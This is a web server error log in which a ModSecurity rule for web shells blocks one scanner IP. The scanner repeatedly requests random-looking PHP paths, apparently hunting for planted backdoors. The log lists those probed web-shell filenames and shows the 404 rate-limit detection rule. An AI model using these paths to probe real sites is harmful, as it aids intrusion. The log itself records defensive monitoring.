[Sun Apr 19 23:40:10.594653 2026] [:error] [pid 15760:tid 15771] [client 20.215.51.14:7126] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fssxwoyh.php"] [unique_id "aeT3WvSdD_XHQMJ_ISt3NwAAAcM"]
[Sun Apr 19 23:40:58.587782 2026] [:error] [pid 15694:tid 15733] [client 20.215.51.14:7160] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeT3irimB-jol1fwqAoeHQAAAYc"]
[Sun Apr 19 23:41:00.021724 2026] [:error] [pid 15764:tid 15841] [client 20.215.51.14:7156] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeT3jGLL_sqdSHoVp-RLUgAAAk8"]
[Sun Apr 19 23:41:01.773435 2026] [:error] [pid 15764:tid 15837] [client 20.215.51.14:7123] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeT3jWLL_sqdSHoVp-RLXgAAAks"]
[Sun Apr 19 23:41:03.875971 2026] [:error] [pid 15764:tid 15844] [client 20.215.51.14:7138] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeT3j2LL_sqdSHoVp-RLZAAAAlI"]
[Sun Apr 19 23:41:05.315749 2026] [:error] [pid 15760:tid 15789] [client 20.215.51.14:7163] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dawvg.php"] [unique_id "aeT3kfSdD_XHQMJ_ISt3jwAAAdU"]
[Sun Apr 19 23:41:07.579459 2026] [:error] [pid 15694:tid 15737] [client 20.215.51.14:7121] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dawvg.php"] [unique_id "aeT3k7imB-jol1fwqAoeHgAAAYs"]
[Sun Apr 19 23:41:09.492207 2026] [:error] [pid 15765:tid 15869] [client 20.215.51.14:7053] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dawvg.php"] [unique_id "aeT3lfRqinw-W5EwQ74O6gAAApA"]
[Sun Apr 19 23:41:11.208282 2026] [:error] [pid 15763:tid 15808] [client 20.215.51.14:7111] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dawvg.php"] [unique_id "aeT3l7MXv1Y1THOoxaAeVAAAAgw"]
[Sun Apr 19 23:41:12.192227 2026] [:error] [pid 47775:tid 47858] [client 20.215.51.14:6851] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeT3mLmztjlk9tsmoewwcgAAAI8"]
[Sun Apr 19 23:41:13.341454 2026] [:error] [pid 15763:tid 15819] [client 20.215.51.14:6982] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeT3mbMXv1Y1THOoxaAeVgAAAhc"]
[Sun Apr 19 23:41:14.359079 2026] [:error] [pid 47775:tid 47854] [client 20.215.51.14:7135] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeT3mrmztjlk9tsmoewwdQAAAIs"]
[Sun Apr 19 23:41:15.581056 2026] [:error] [pid 47775:tid 47850] [client 20.215.51.14:7142] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-220.php"] [unique_id "aeT3m7mztjlk9tsmoewwegAAAIc"]
[Sun Apr 19 23:41:16.705902 2026] [:error] [pid 15694:tid 15726] [client 20.215.51.14:7027] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aeT3nLimB-jol1fwqAoeIQAAAYM"]
[Sun Apr 19 23:41:17.618357 2026] [:error] [pid 47886:tid 47891] [client 20.215.51.14:6980] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aeT3nUSe8yiyuPrD7yOMJAAAAMM"]
[Sun Apr 19 23:41:18.548904 2026] [:error] [pid 15760:tid 15784] [client 20.215.51.14:7103] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aeT3nvSdD_XHQMJ_ISt3rwAAAdA"]
[Sun Apr 19 23:41:20.284419 2026] [:error] [pid 47886:tid 47897] [client 20.215.51.14:6989] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bykdo.php"] [unique_id "aeT3oESe8yiyuPrD7yOMJQAAAMk"]
[Sun Apr 19 23:41:21.301655 2026] [:error] [pid 15764:tid 15838] [client 20.215.51.14:7030] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aeT3oWLL_sqdSHoVp-RLbQAAAkw"]
[Sun Apr 19 23:41:23.283316 2026] [:error] [pid 15760:tid 15791] [client 20.215.51.14:7143] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aeT3o_SdD_XHQMJ_ISt3vgAAAdc"]
[Sun Apr 19 23:41:24.331884 2026] [:error] [pid 15763:tid 15809] [client 20.215.51.14:7106] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aeT3pLMXv1Y1THOoxaAeXwAAAg0"]
[Sun Apr 19 23:41:25.355897 2026] [:error] [pid 47775:tid 47864] [client 20.215.51.14:7159] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aeT3pbmztjlk9tsmoewwigAAAJU"]
[Sun Apr 19 23:41:26.341362 2026] [:error] [pid 15765:tid 15877] [client 20.215.51.14:7119] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/repurify.php"] [unique_id "aeT3pvRqinw-W5EwQ74O7gAAApg"]
[Sun Apr 19 23:41:27.561011 2026] [:error] [pid 15694:tid 15742] [client 20.215.51.14:7138] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/repurify.php"] [unique_id "aeT3p7imB-jol1fwqAoeIgAAAZA"]
[Sun Apr 19 23:41:28.787959 2026] [:error] [pid 47775:tid 47856] [client 20.215.51.14:7161] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/repurify.php"] [unique_id "aeT3qLmztjlk9tsmoewwkwAAAI0"]
[Sun Apr 19 23:41:31.130967 2026] [:error] [pid 47775:tid 47859] [client 20.215.51.14:7078] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/repurify.php"] [unique_id "aeT3q7mztjlk9tsmoewwnQAAAJA"]
[Sun Apr 19 23:41:31.789105 2026] [:error] [pid 15760:tid 15782] [client 20.215.51.14:7160] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uujuu.php"] [unique_id "aeT3q_SdD_XHQMJ_ISt3zQAAAc4"]
[Sun Apr 19 23:41:32.746161 2026] [:error] [pid 15760:tid 15774] [client 20.215.51.14:7147] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uujuu.php"] [unique_id "aeT3rPSdD_XHQMJ_ISt30AAAAcY"]
[Sun Apr 19 23:41:33.667776 2026] [:error] [pid 15694:tid 15725] [client 20.215.51.14:7072] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uujuu.php"] [unique_id "aeT3rbimB-jol1fwqAoeJQAAAYI"]
[Sun Apr 19 23:41:34.721881 2026] [:error] [pid 15694:tid 15730] [client 20.215.51.14:7002] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uujuu.php"] [unique_id "aeT3rrimB-jol1fwqAoeKAAAAYQ"]
[Sun Apr 19 23:41:36.144646 2026] [:error] [pid 15760:tid 15785] [client 20.215.51.14:7116] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad.php"] [unique_id "aeT3sPSdD_XHQMJ_ISt31AAAAdE"]
[Sun Apr 19 23:41:37.435601 2026] [:error] [pid 47772:tid 47795] [client 20.215.51.14:6924] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad.php"] [unique_id "aeT3sYc0L16cb4smAz_n3wAAAAY"]
[Sun Apr 19 23:41:38.287173 2026] [:error] [pid 15763:tid 15818] [client 20.215.51.14:6984] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad.php"] [unique_id "aeT3srMXv1Y1THOoxaAebgAAAhY"]
[Sun Apr 19 23:41:38.992089 2026] [:error] [pid 15764:tid 15834] [client 20.215.51.14:7137] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad.php"] [unique_id "aeT3smLL_sqdSHoVp-RLbgAAAkg"]
[Sun Apr 19 23:41:39.699132 2026] [:error] [pid 15693:tid 15706] [client 20.215.51.14:7162] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "aeT3s8NMD-ccazQlTsloMwAAAUo"]
[Sun Apr 19 23:41:40.698099 2026] [:error] [pid 15760:tid 15775] [client 20.215.51.14:7055] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "aeT3tPSdD_XHQMJ_ISt32QAAAcc"]
[Sun Apr 19 23:41:41.925842 2026] [:error] [pid 15765:tid 15860] [client 20.215.51.14:7104] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "aeT3tfRqinw-W5EwQ74O8QAAAoc"]
[Sun Apr 19 23:41:42.942821 2026] [:error] [pid 47772:tid 47802] [client 20.215.51.14:6960] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sde.php"] [unique_id "aeT3toc0L16cb4smAz_n4AAAAA0"]
[Sun Apr 19 23:41:43.925733 2026] [:error] [pid 15760:tid 15772] [client 20.215.51.14:7158] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "aeT3t_SdD_XHQMJ_ISt35QAAAcQ"]
[Sun Apr 19 23:41:45.030612 2026] [:error] [pid 15763:tid 15801] [client 20.215.51.14:7051] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "aeT3ubMXv1Y1THOoxaAecgAAAgU"]
[Sun Apr 19 23:41:46.073331 2026] [:error] [pid 15760:tid 15783] [client 20.215.51.14:7044] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "aeT3uvSdD_XHQMJ_ISt37gAAAc8"]
[Sun Apr 19 23:41:46.833197 2026] [:error] [pid 47775:tid 47843] [client 20.215.51.14:6987] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albrt.php"] [unique_id "aeT3urmztjlk9tsmoewwpAAAAIA"]
[Sun Apr 19 23:41:47.753563 2026] [:error] [pid 47775:tid 47844] [client 20.215.51.14:7100] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeT3u7mztjlk9tsmoewwpgAAAIE"]
[Sun Apr 19 23:41:48.983531 2026] [:error] [pid 47772:tid 47806] [client 20.215.51.14:6972] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeT3vIc0L16cb4smAz_n6QAAABE"]
[Sun Apr 19 23:41:49.778691 2026] [:error] [pid 47772:tid 47808] [client 20.215.51.14:7093] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeT3vYc0L16cb4smAz_n6wAAABM"]
[Sun Apr 19 23:41:50.595423 2026] [:error] [pid 15763:tid 15803] [client 20.215.51.14:7132] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeT3vrMXv1Y1THOoxaAedwAAAgc"]
[Sun Apr 19 23:41:51.478697 2026] [:error] [pid 15760:tid 15791] [client 20.215.51.14:7049] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeT3v_SdD_XHQMJ_ISt3-AAAAdc"]
[Sun Apr 19 23:41:52.780184 2026] [:error] [pid 15764:tid 15827] [client 20.215.51.14:6947] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeT3wGLL_sqdSHoVp-RLiAAAAkE"]
[Sun Apr 19 23:41:53.551358 2026] [:error] [pid 15763:tid 15809] [client 20.215.51.14:6981] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeT3wbMXv1Y1THOoxaAeegAAAg0"]
[Sun Apr 19 23:42:40.638819 2026] [:error] [pid 15764:tid 15831] [client 20.215.51.14:7149] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/intall.php"] [unique_id "aeT38GLL_sqdSHoVp-RMUgAAAkU"]
[Sun Apr 19 23:42:41.959462 2026] [:error] [pid 15764:tid 15828] [client 20.215.51.14:7048] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/intall.php"] [unique_id "aeT38WLL_sqdSHoVp-RMVQAAAkI"]
[Sun Apr 19 23:42:42.929704 2026] [:error] [pid 47773:tid 47817] [client 20.215.51.14:7146] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/intall.php"] [unique_id "aeT38uiBHdnCJDuPq9BhBQAAAEE"]
[Sun Apr 19 23:42:44.152381 2026] [:error] [pid 15764:tid 15851] [client 20.215.51.14:7056] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/intall.php"] [unique_id "aeT39GLL_sqdSHoVp-RMXQAAAlg"]
[Sun Apr 19 23:42:45.025352 2026] [:error] [pid 15765:tid 15877] [client 20.215.51.14:7042] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/only.php"] [unique_id "aeT39fRqinw-W5EwQ74PBgAAApg"]
[Sun Apr 19 23:42:46.658409 2026] [:error] [pid 15764:tid 15838] [client 20.215.51.14:7165] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/only.php"] [unique_id "aeT39mLL_sqdSHoVp-RMXgAAAkw"]
[Sun Apr 19 23:42:48.222478 2026] [:error] [pid 47772:tid 47806] [client 20.215.51.14:7112] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/only.php"] [unique_id "aeT3-Ic0L16cb4smAz_oOQAAABE"]
[Sun Apr 19 23:42:49.327294 2026] [:error] [pid 15760:tid 15781] [client 20.215.51.14:7057] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/only.php"] [unique_id "aeT3-fSdD_XHQMJ_ISt4_AAAAc0"]
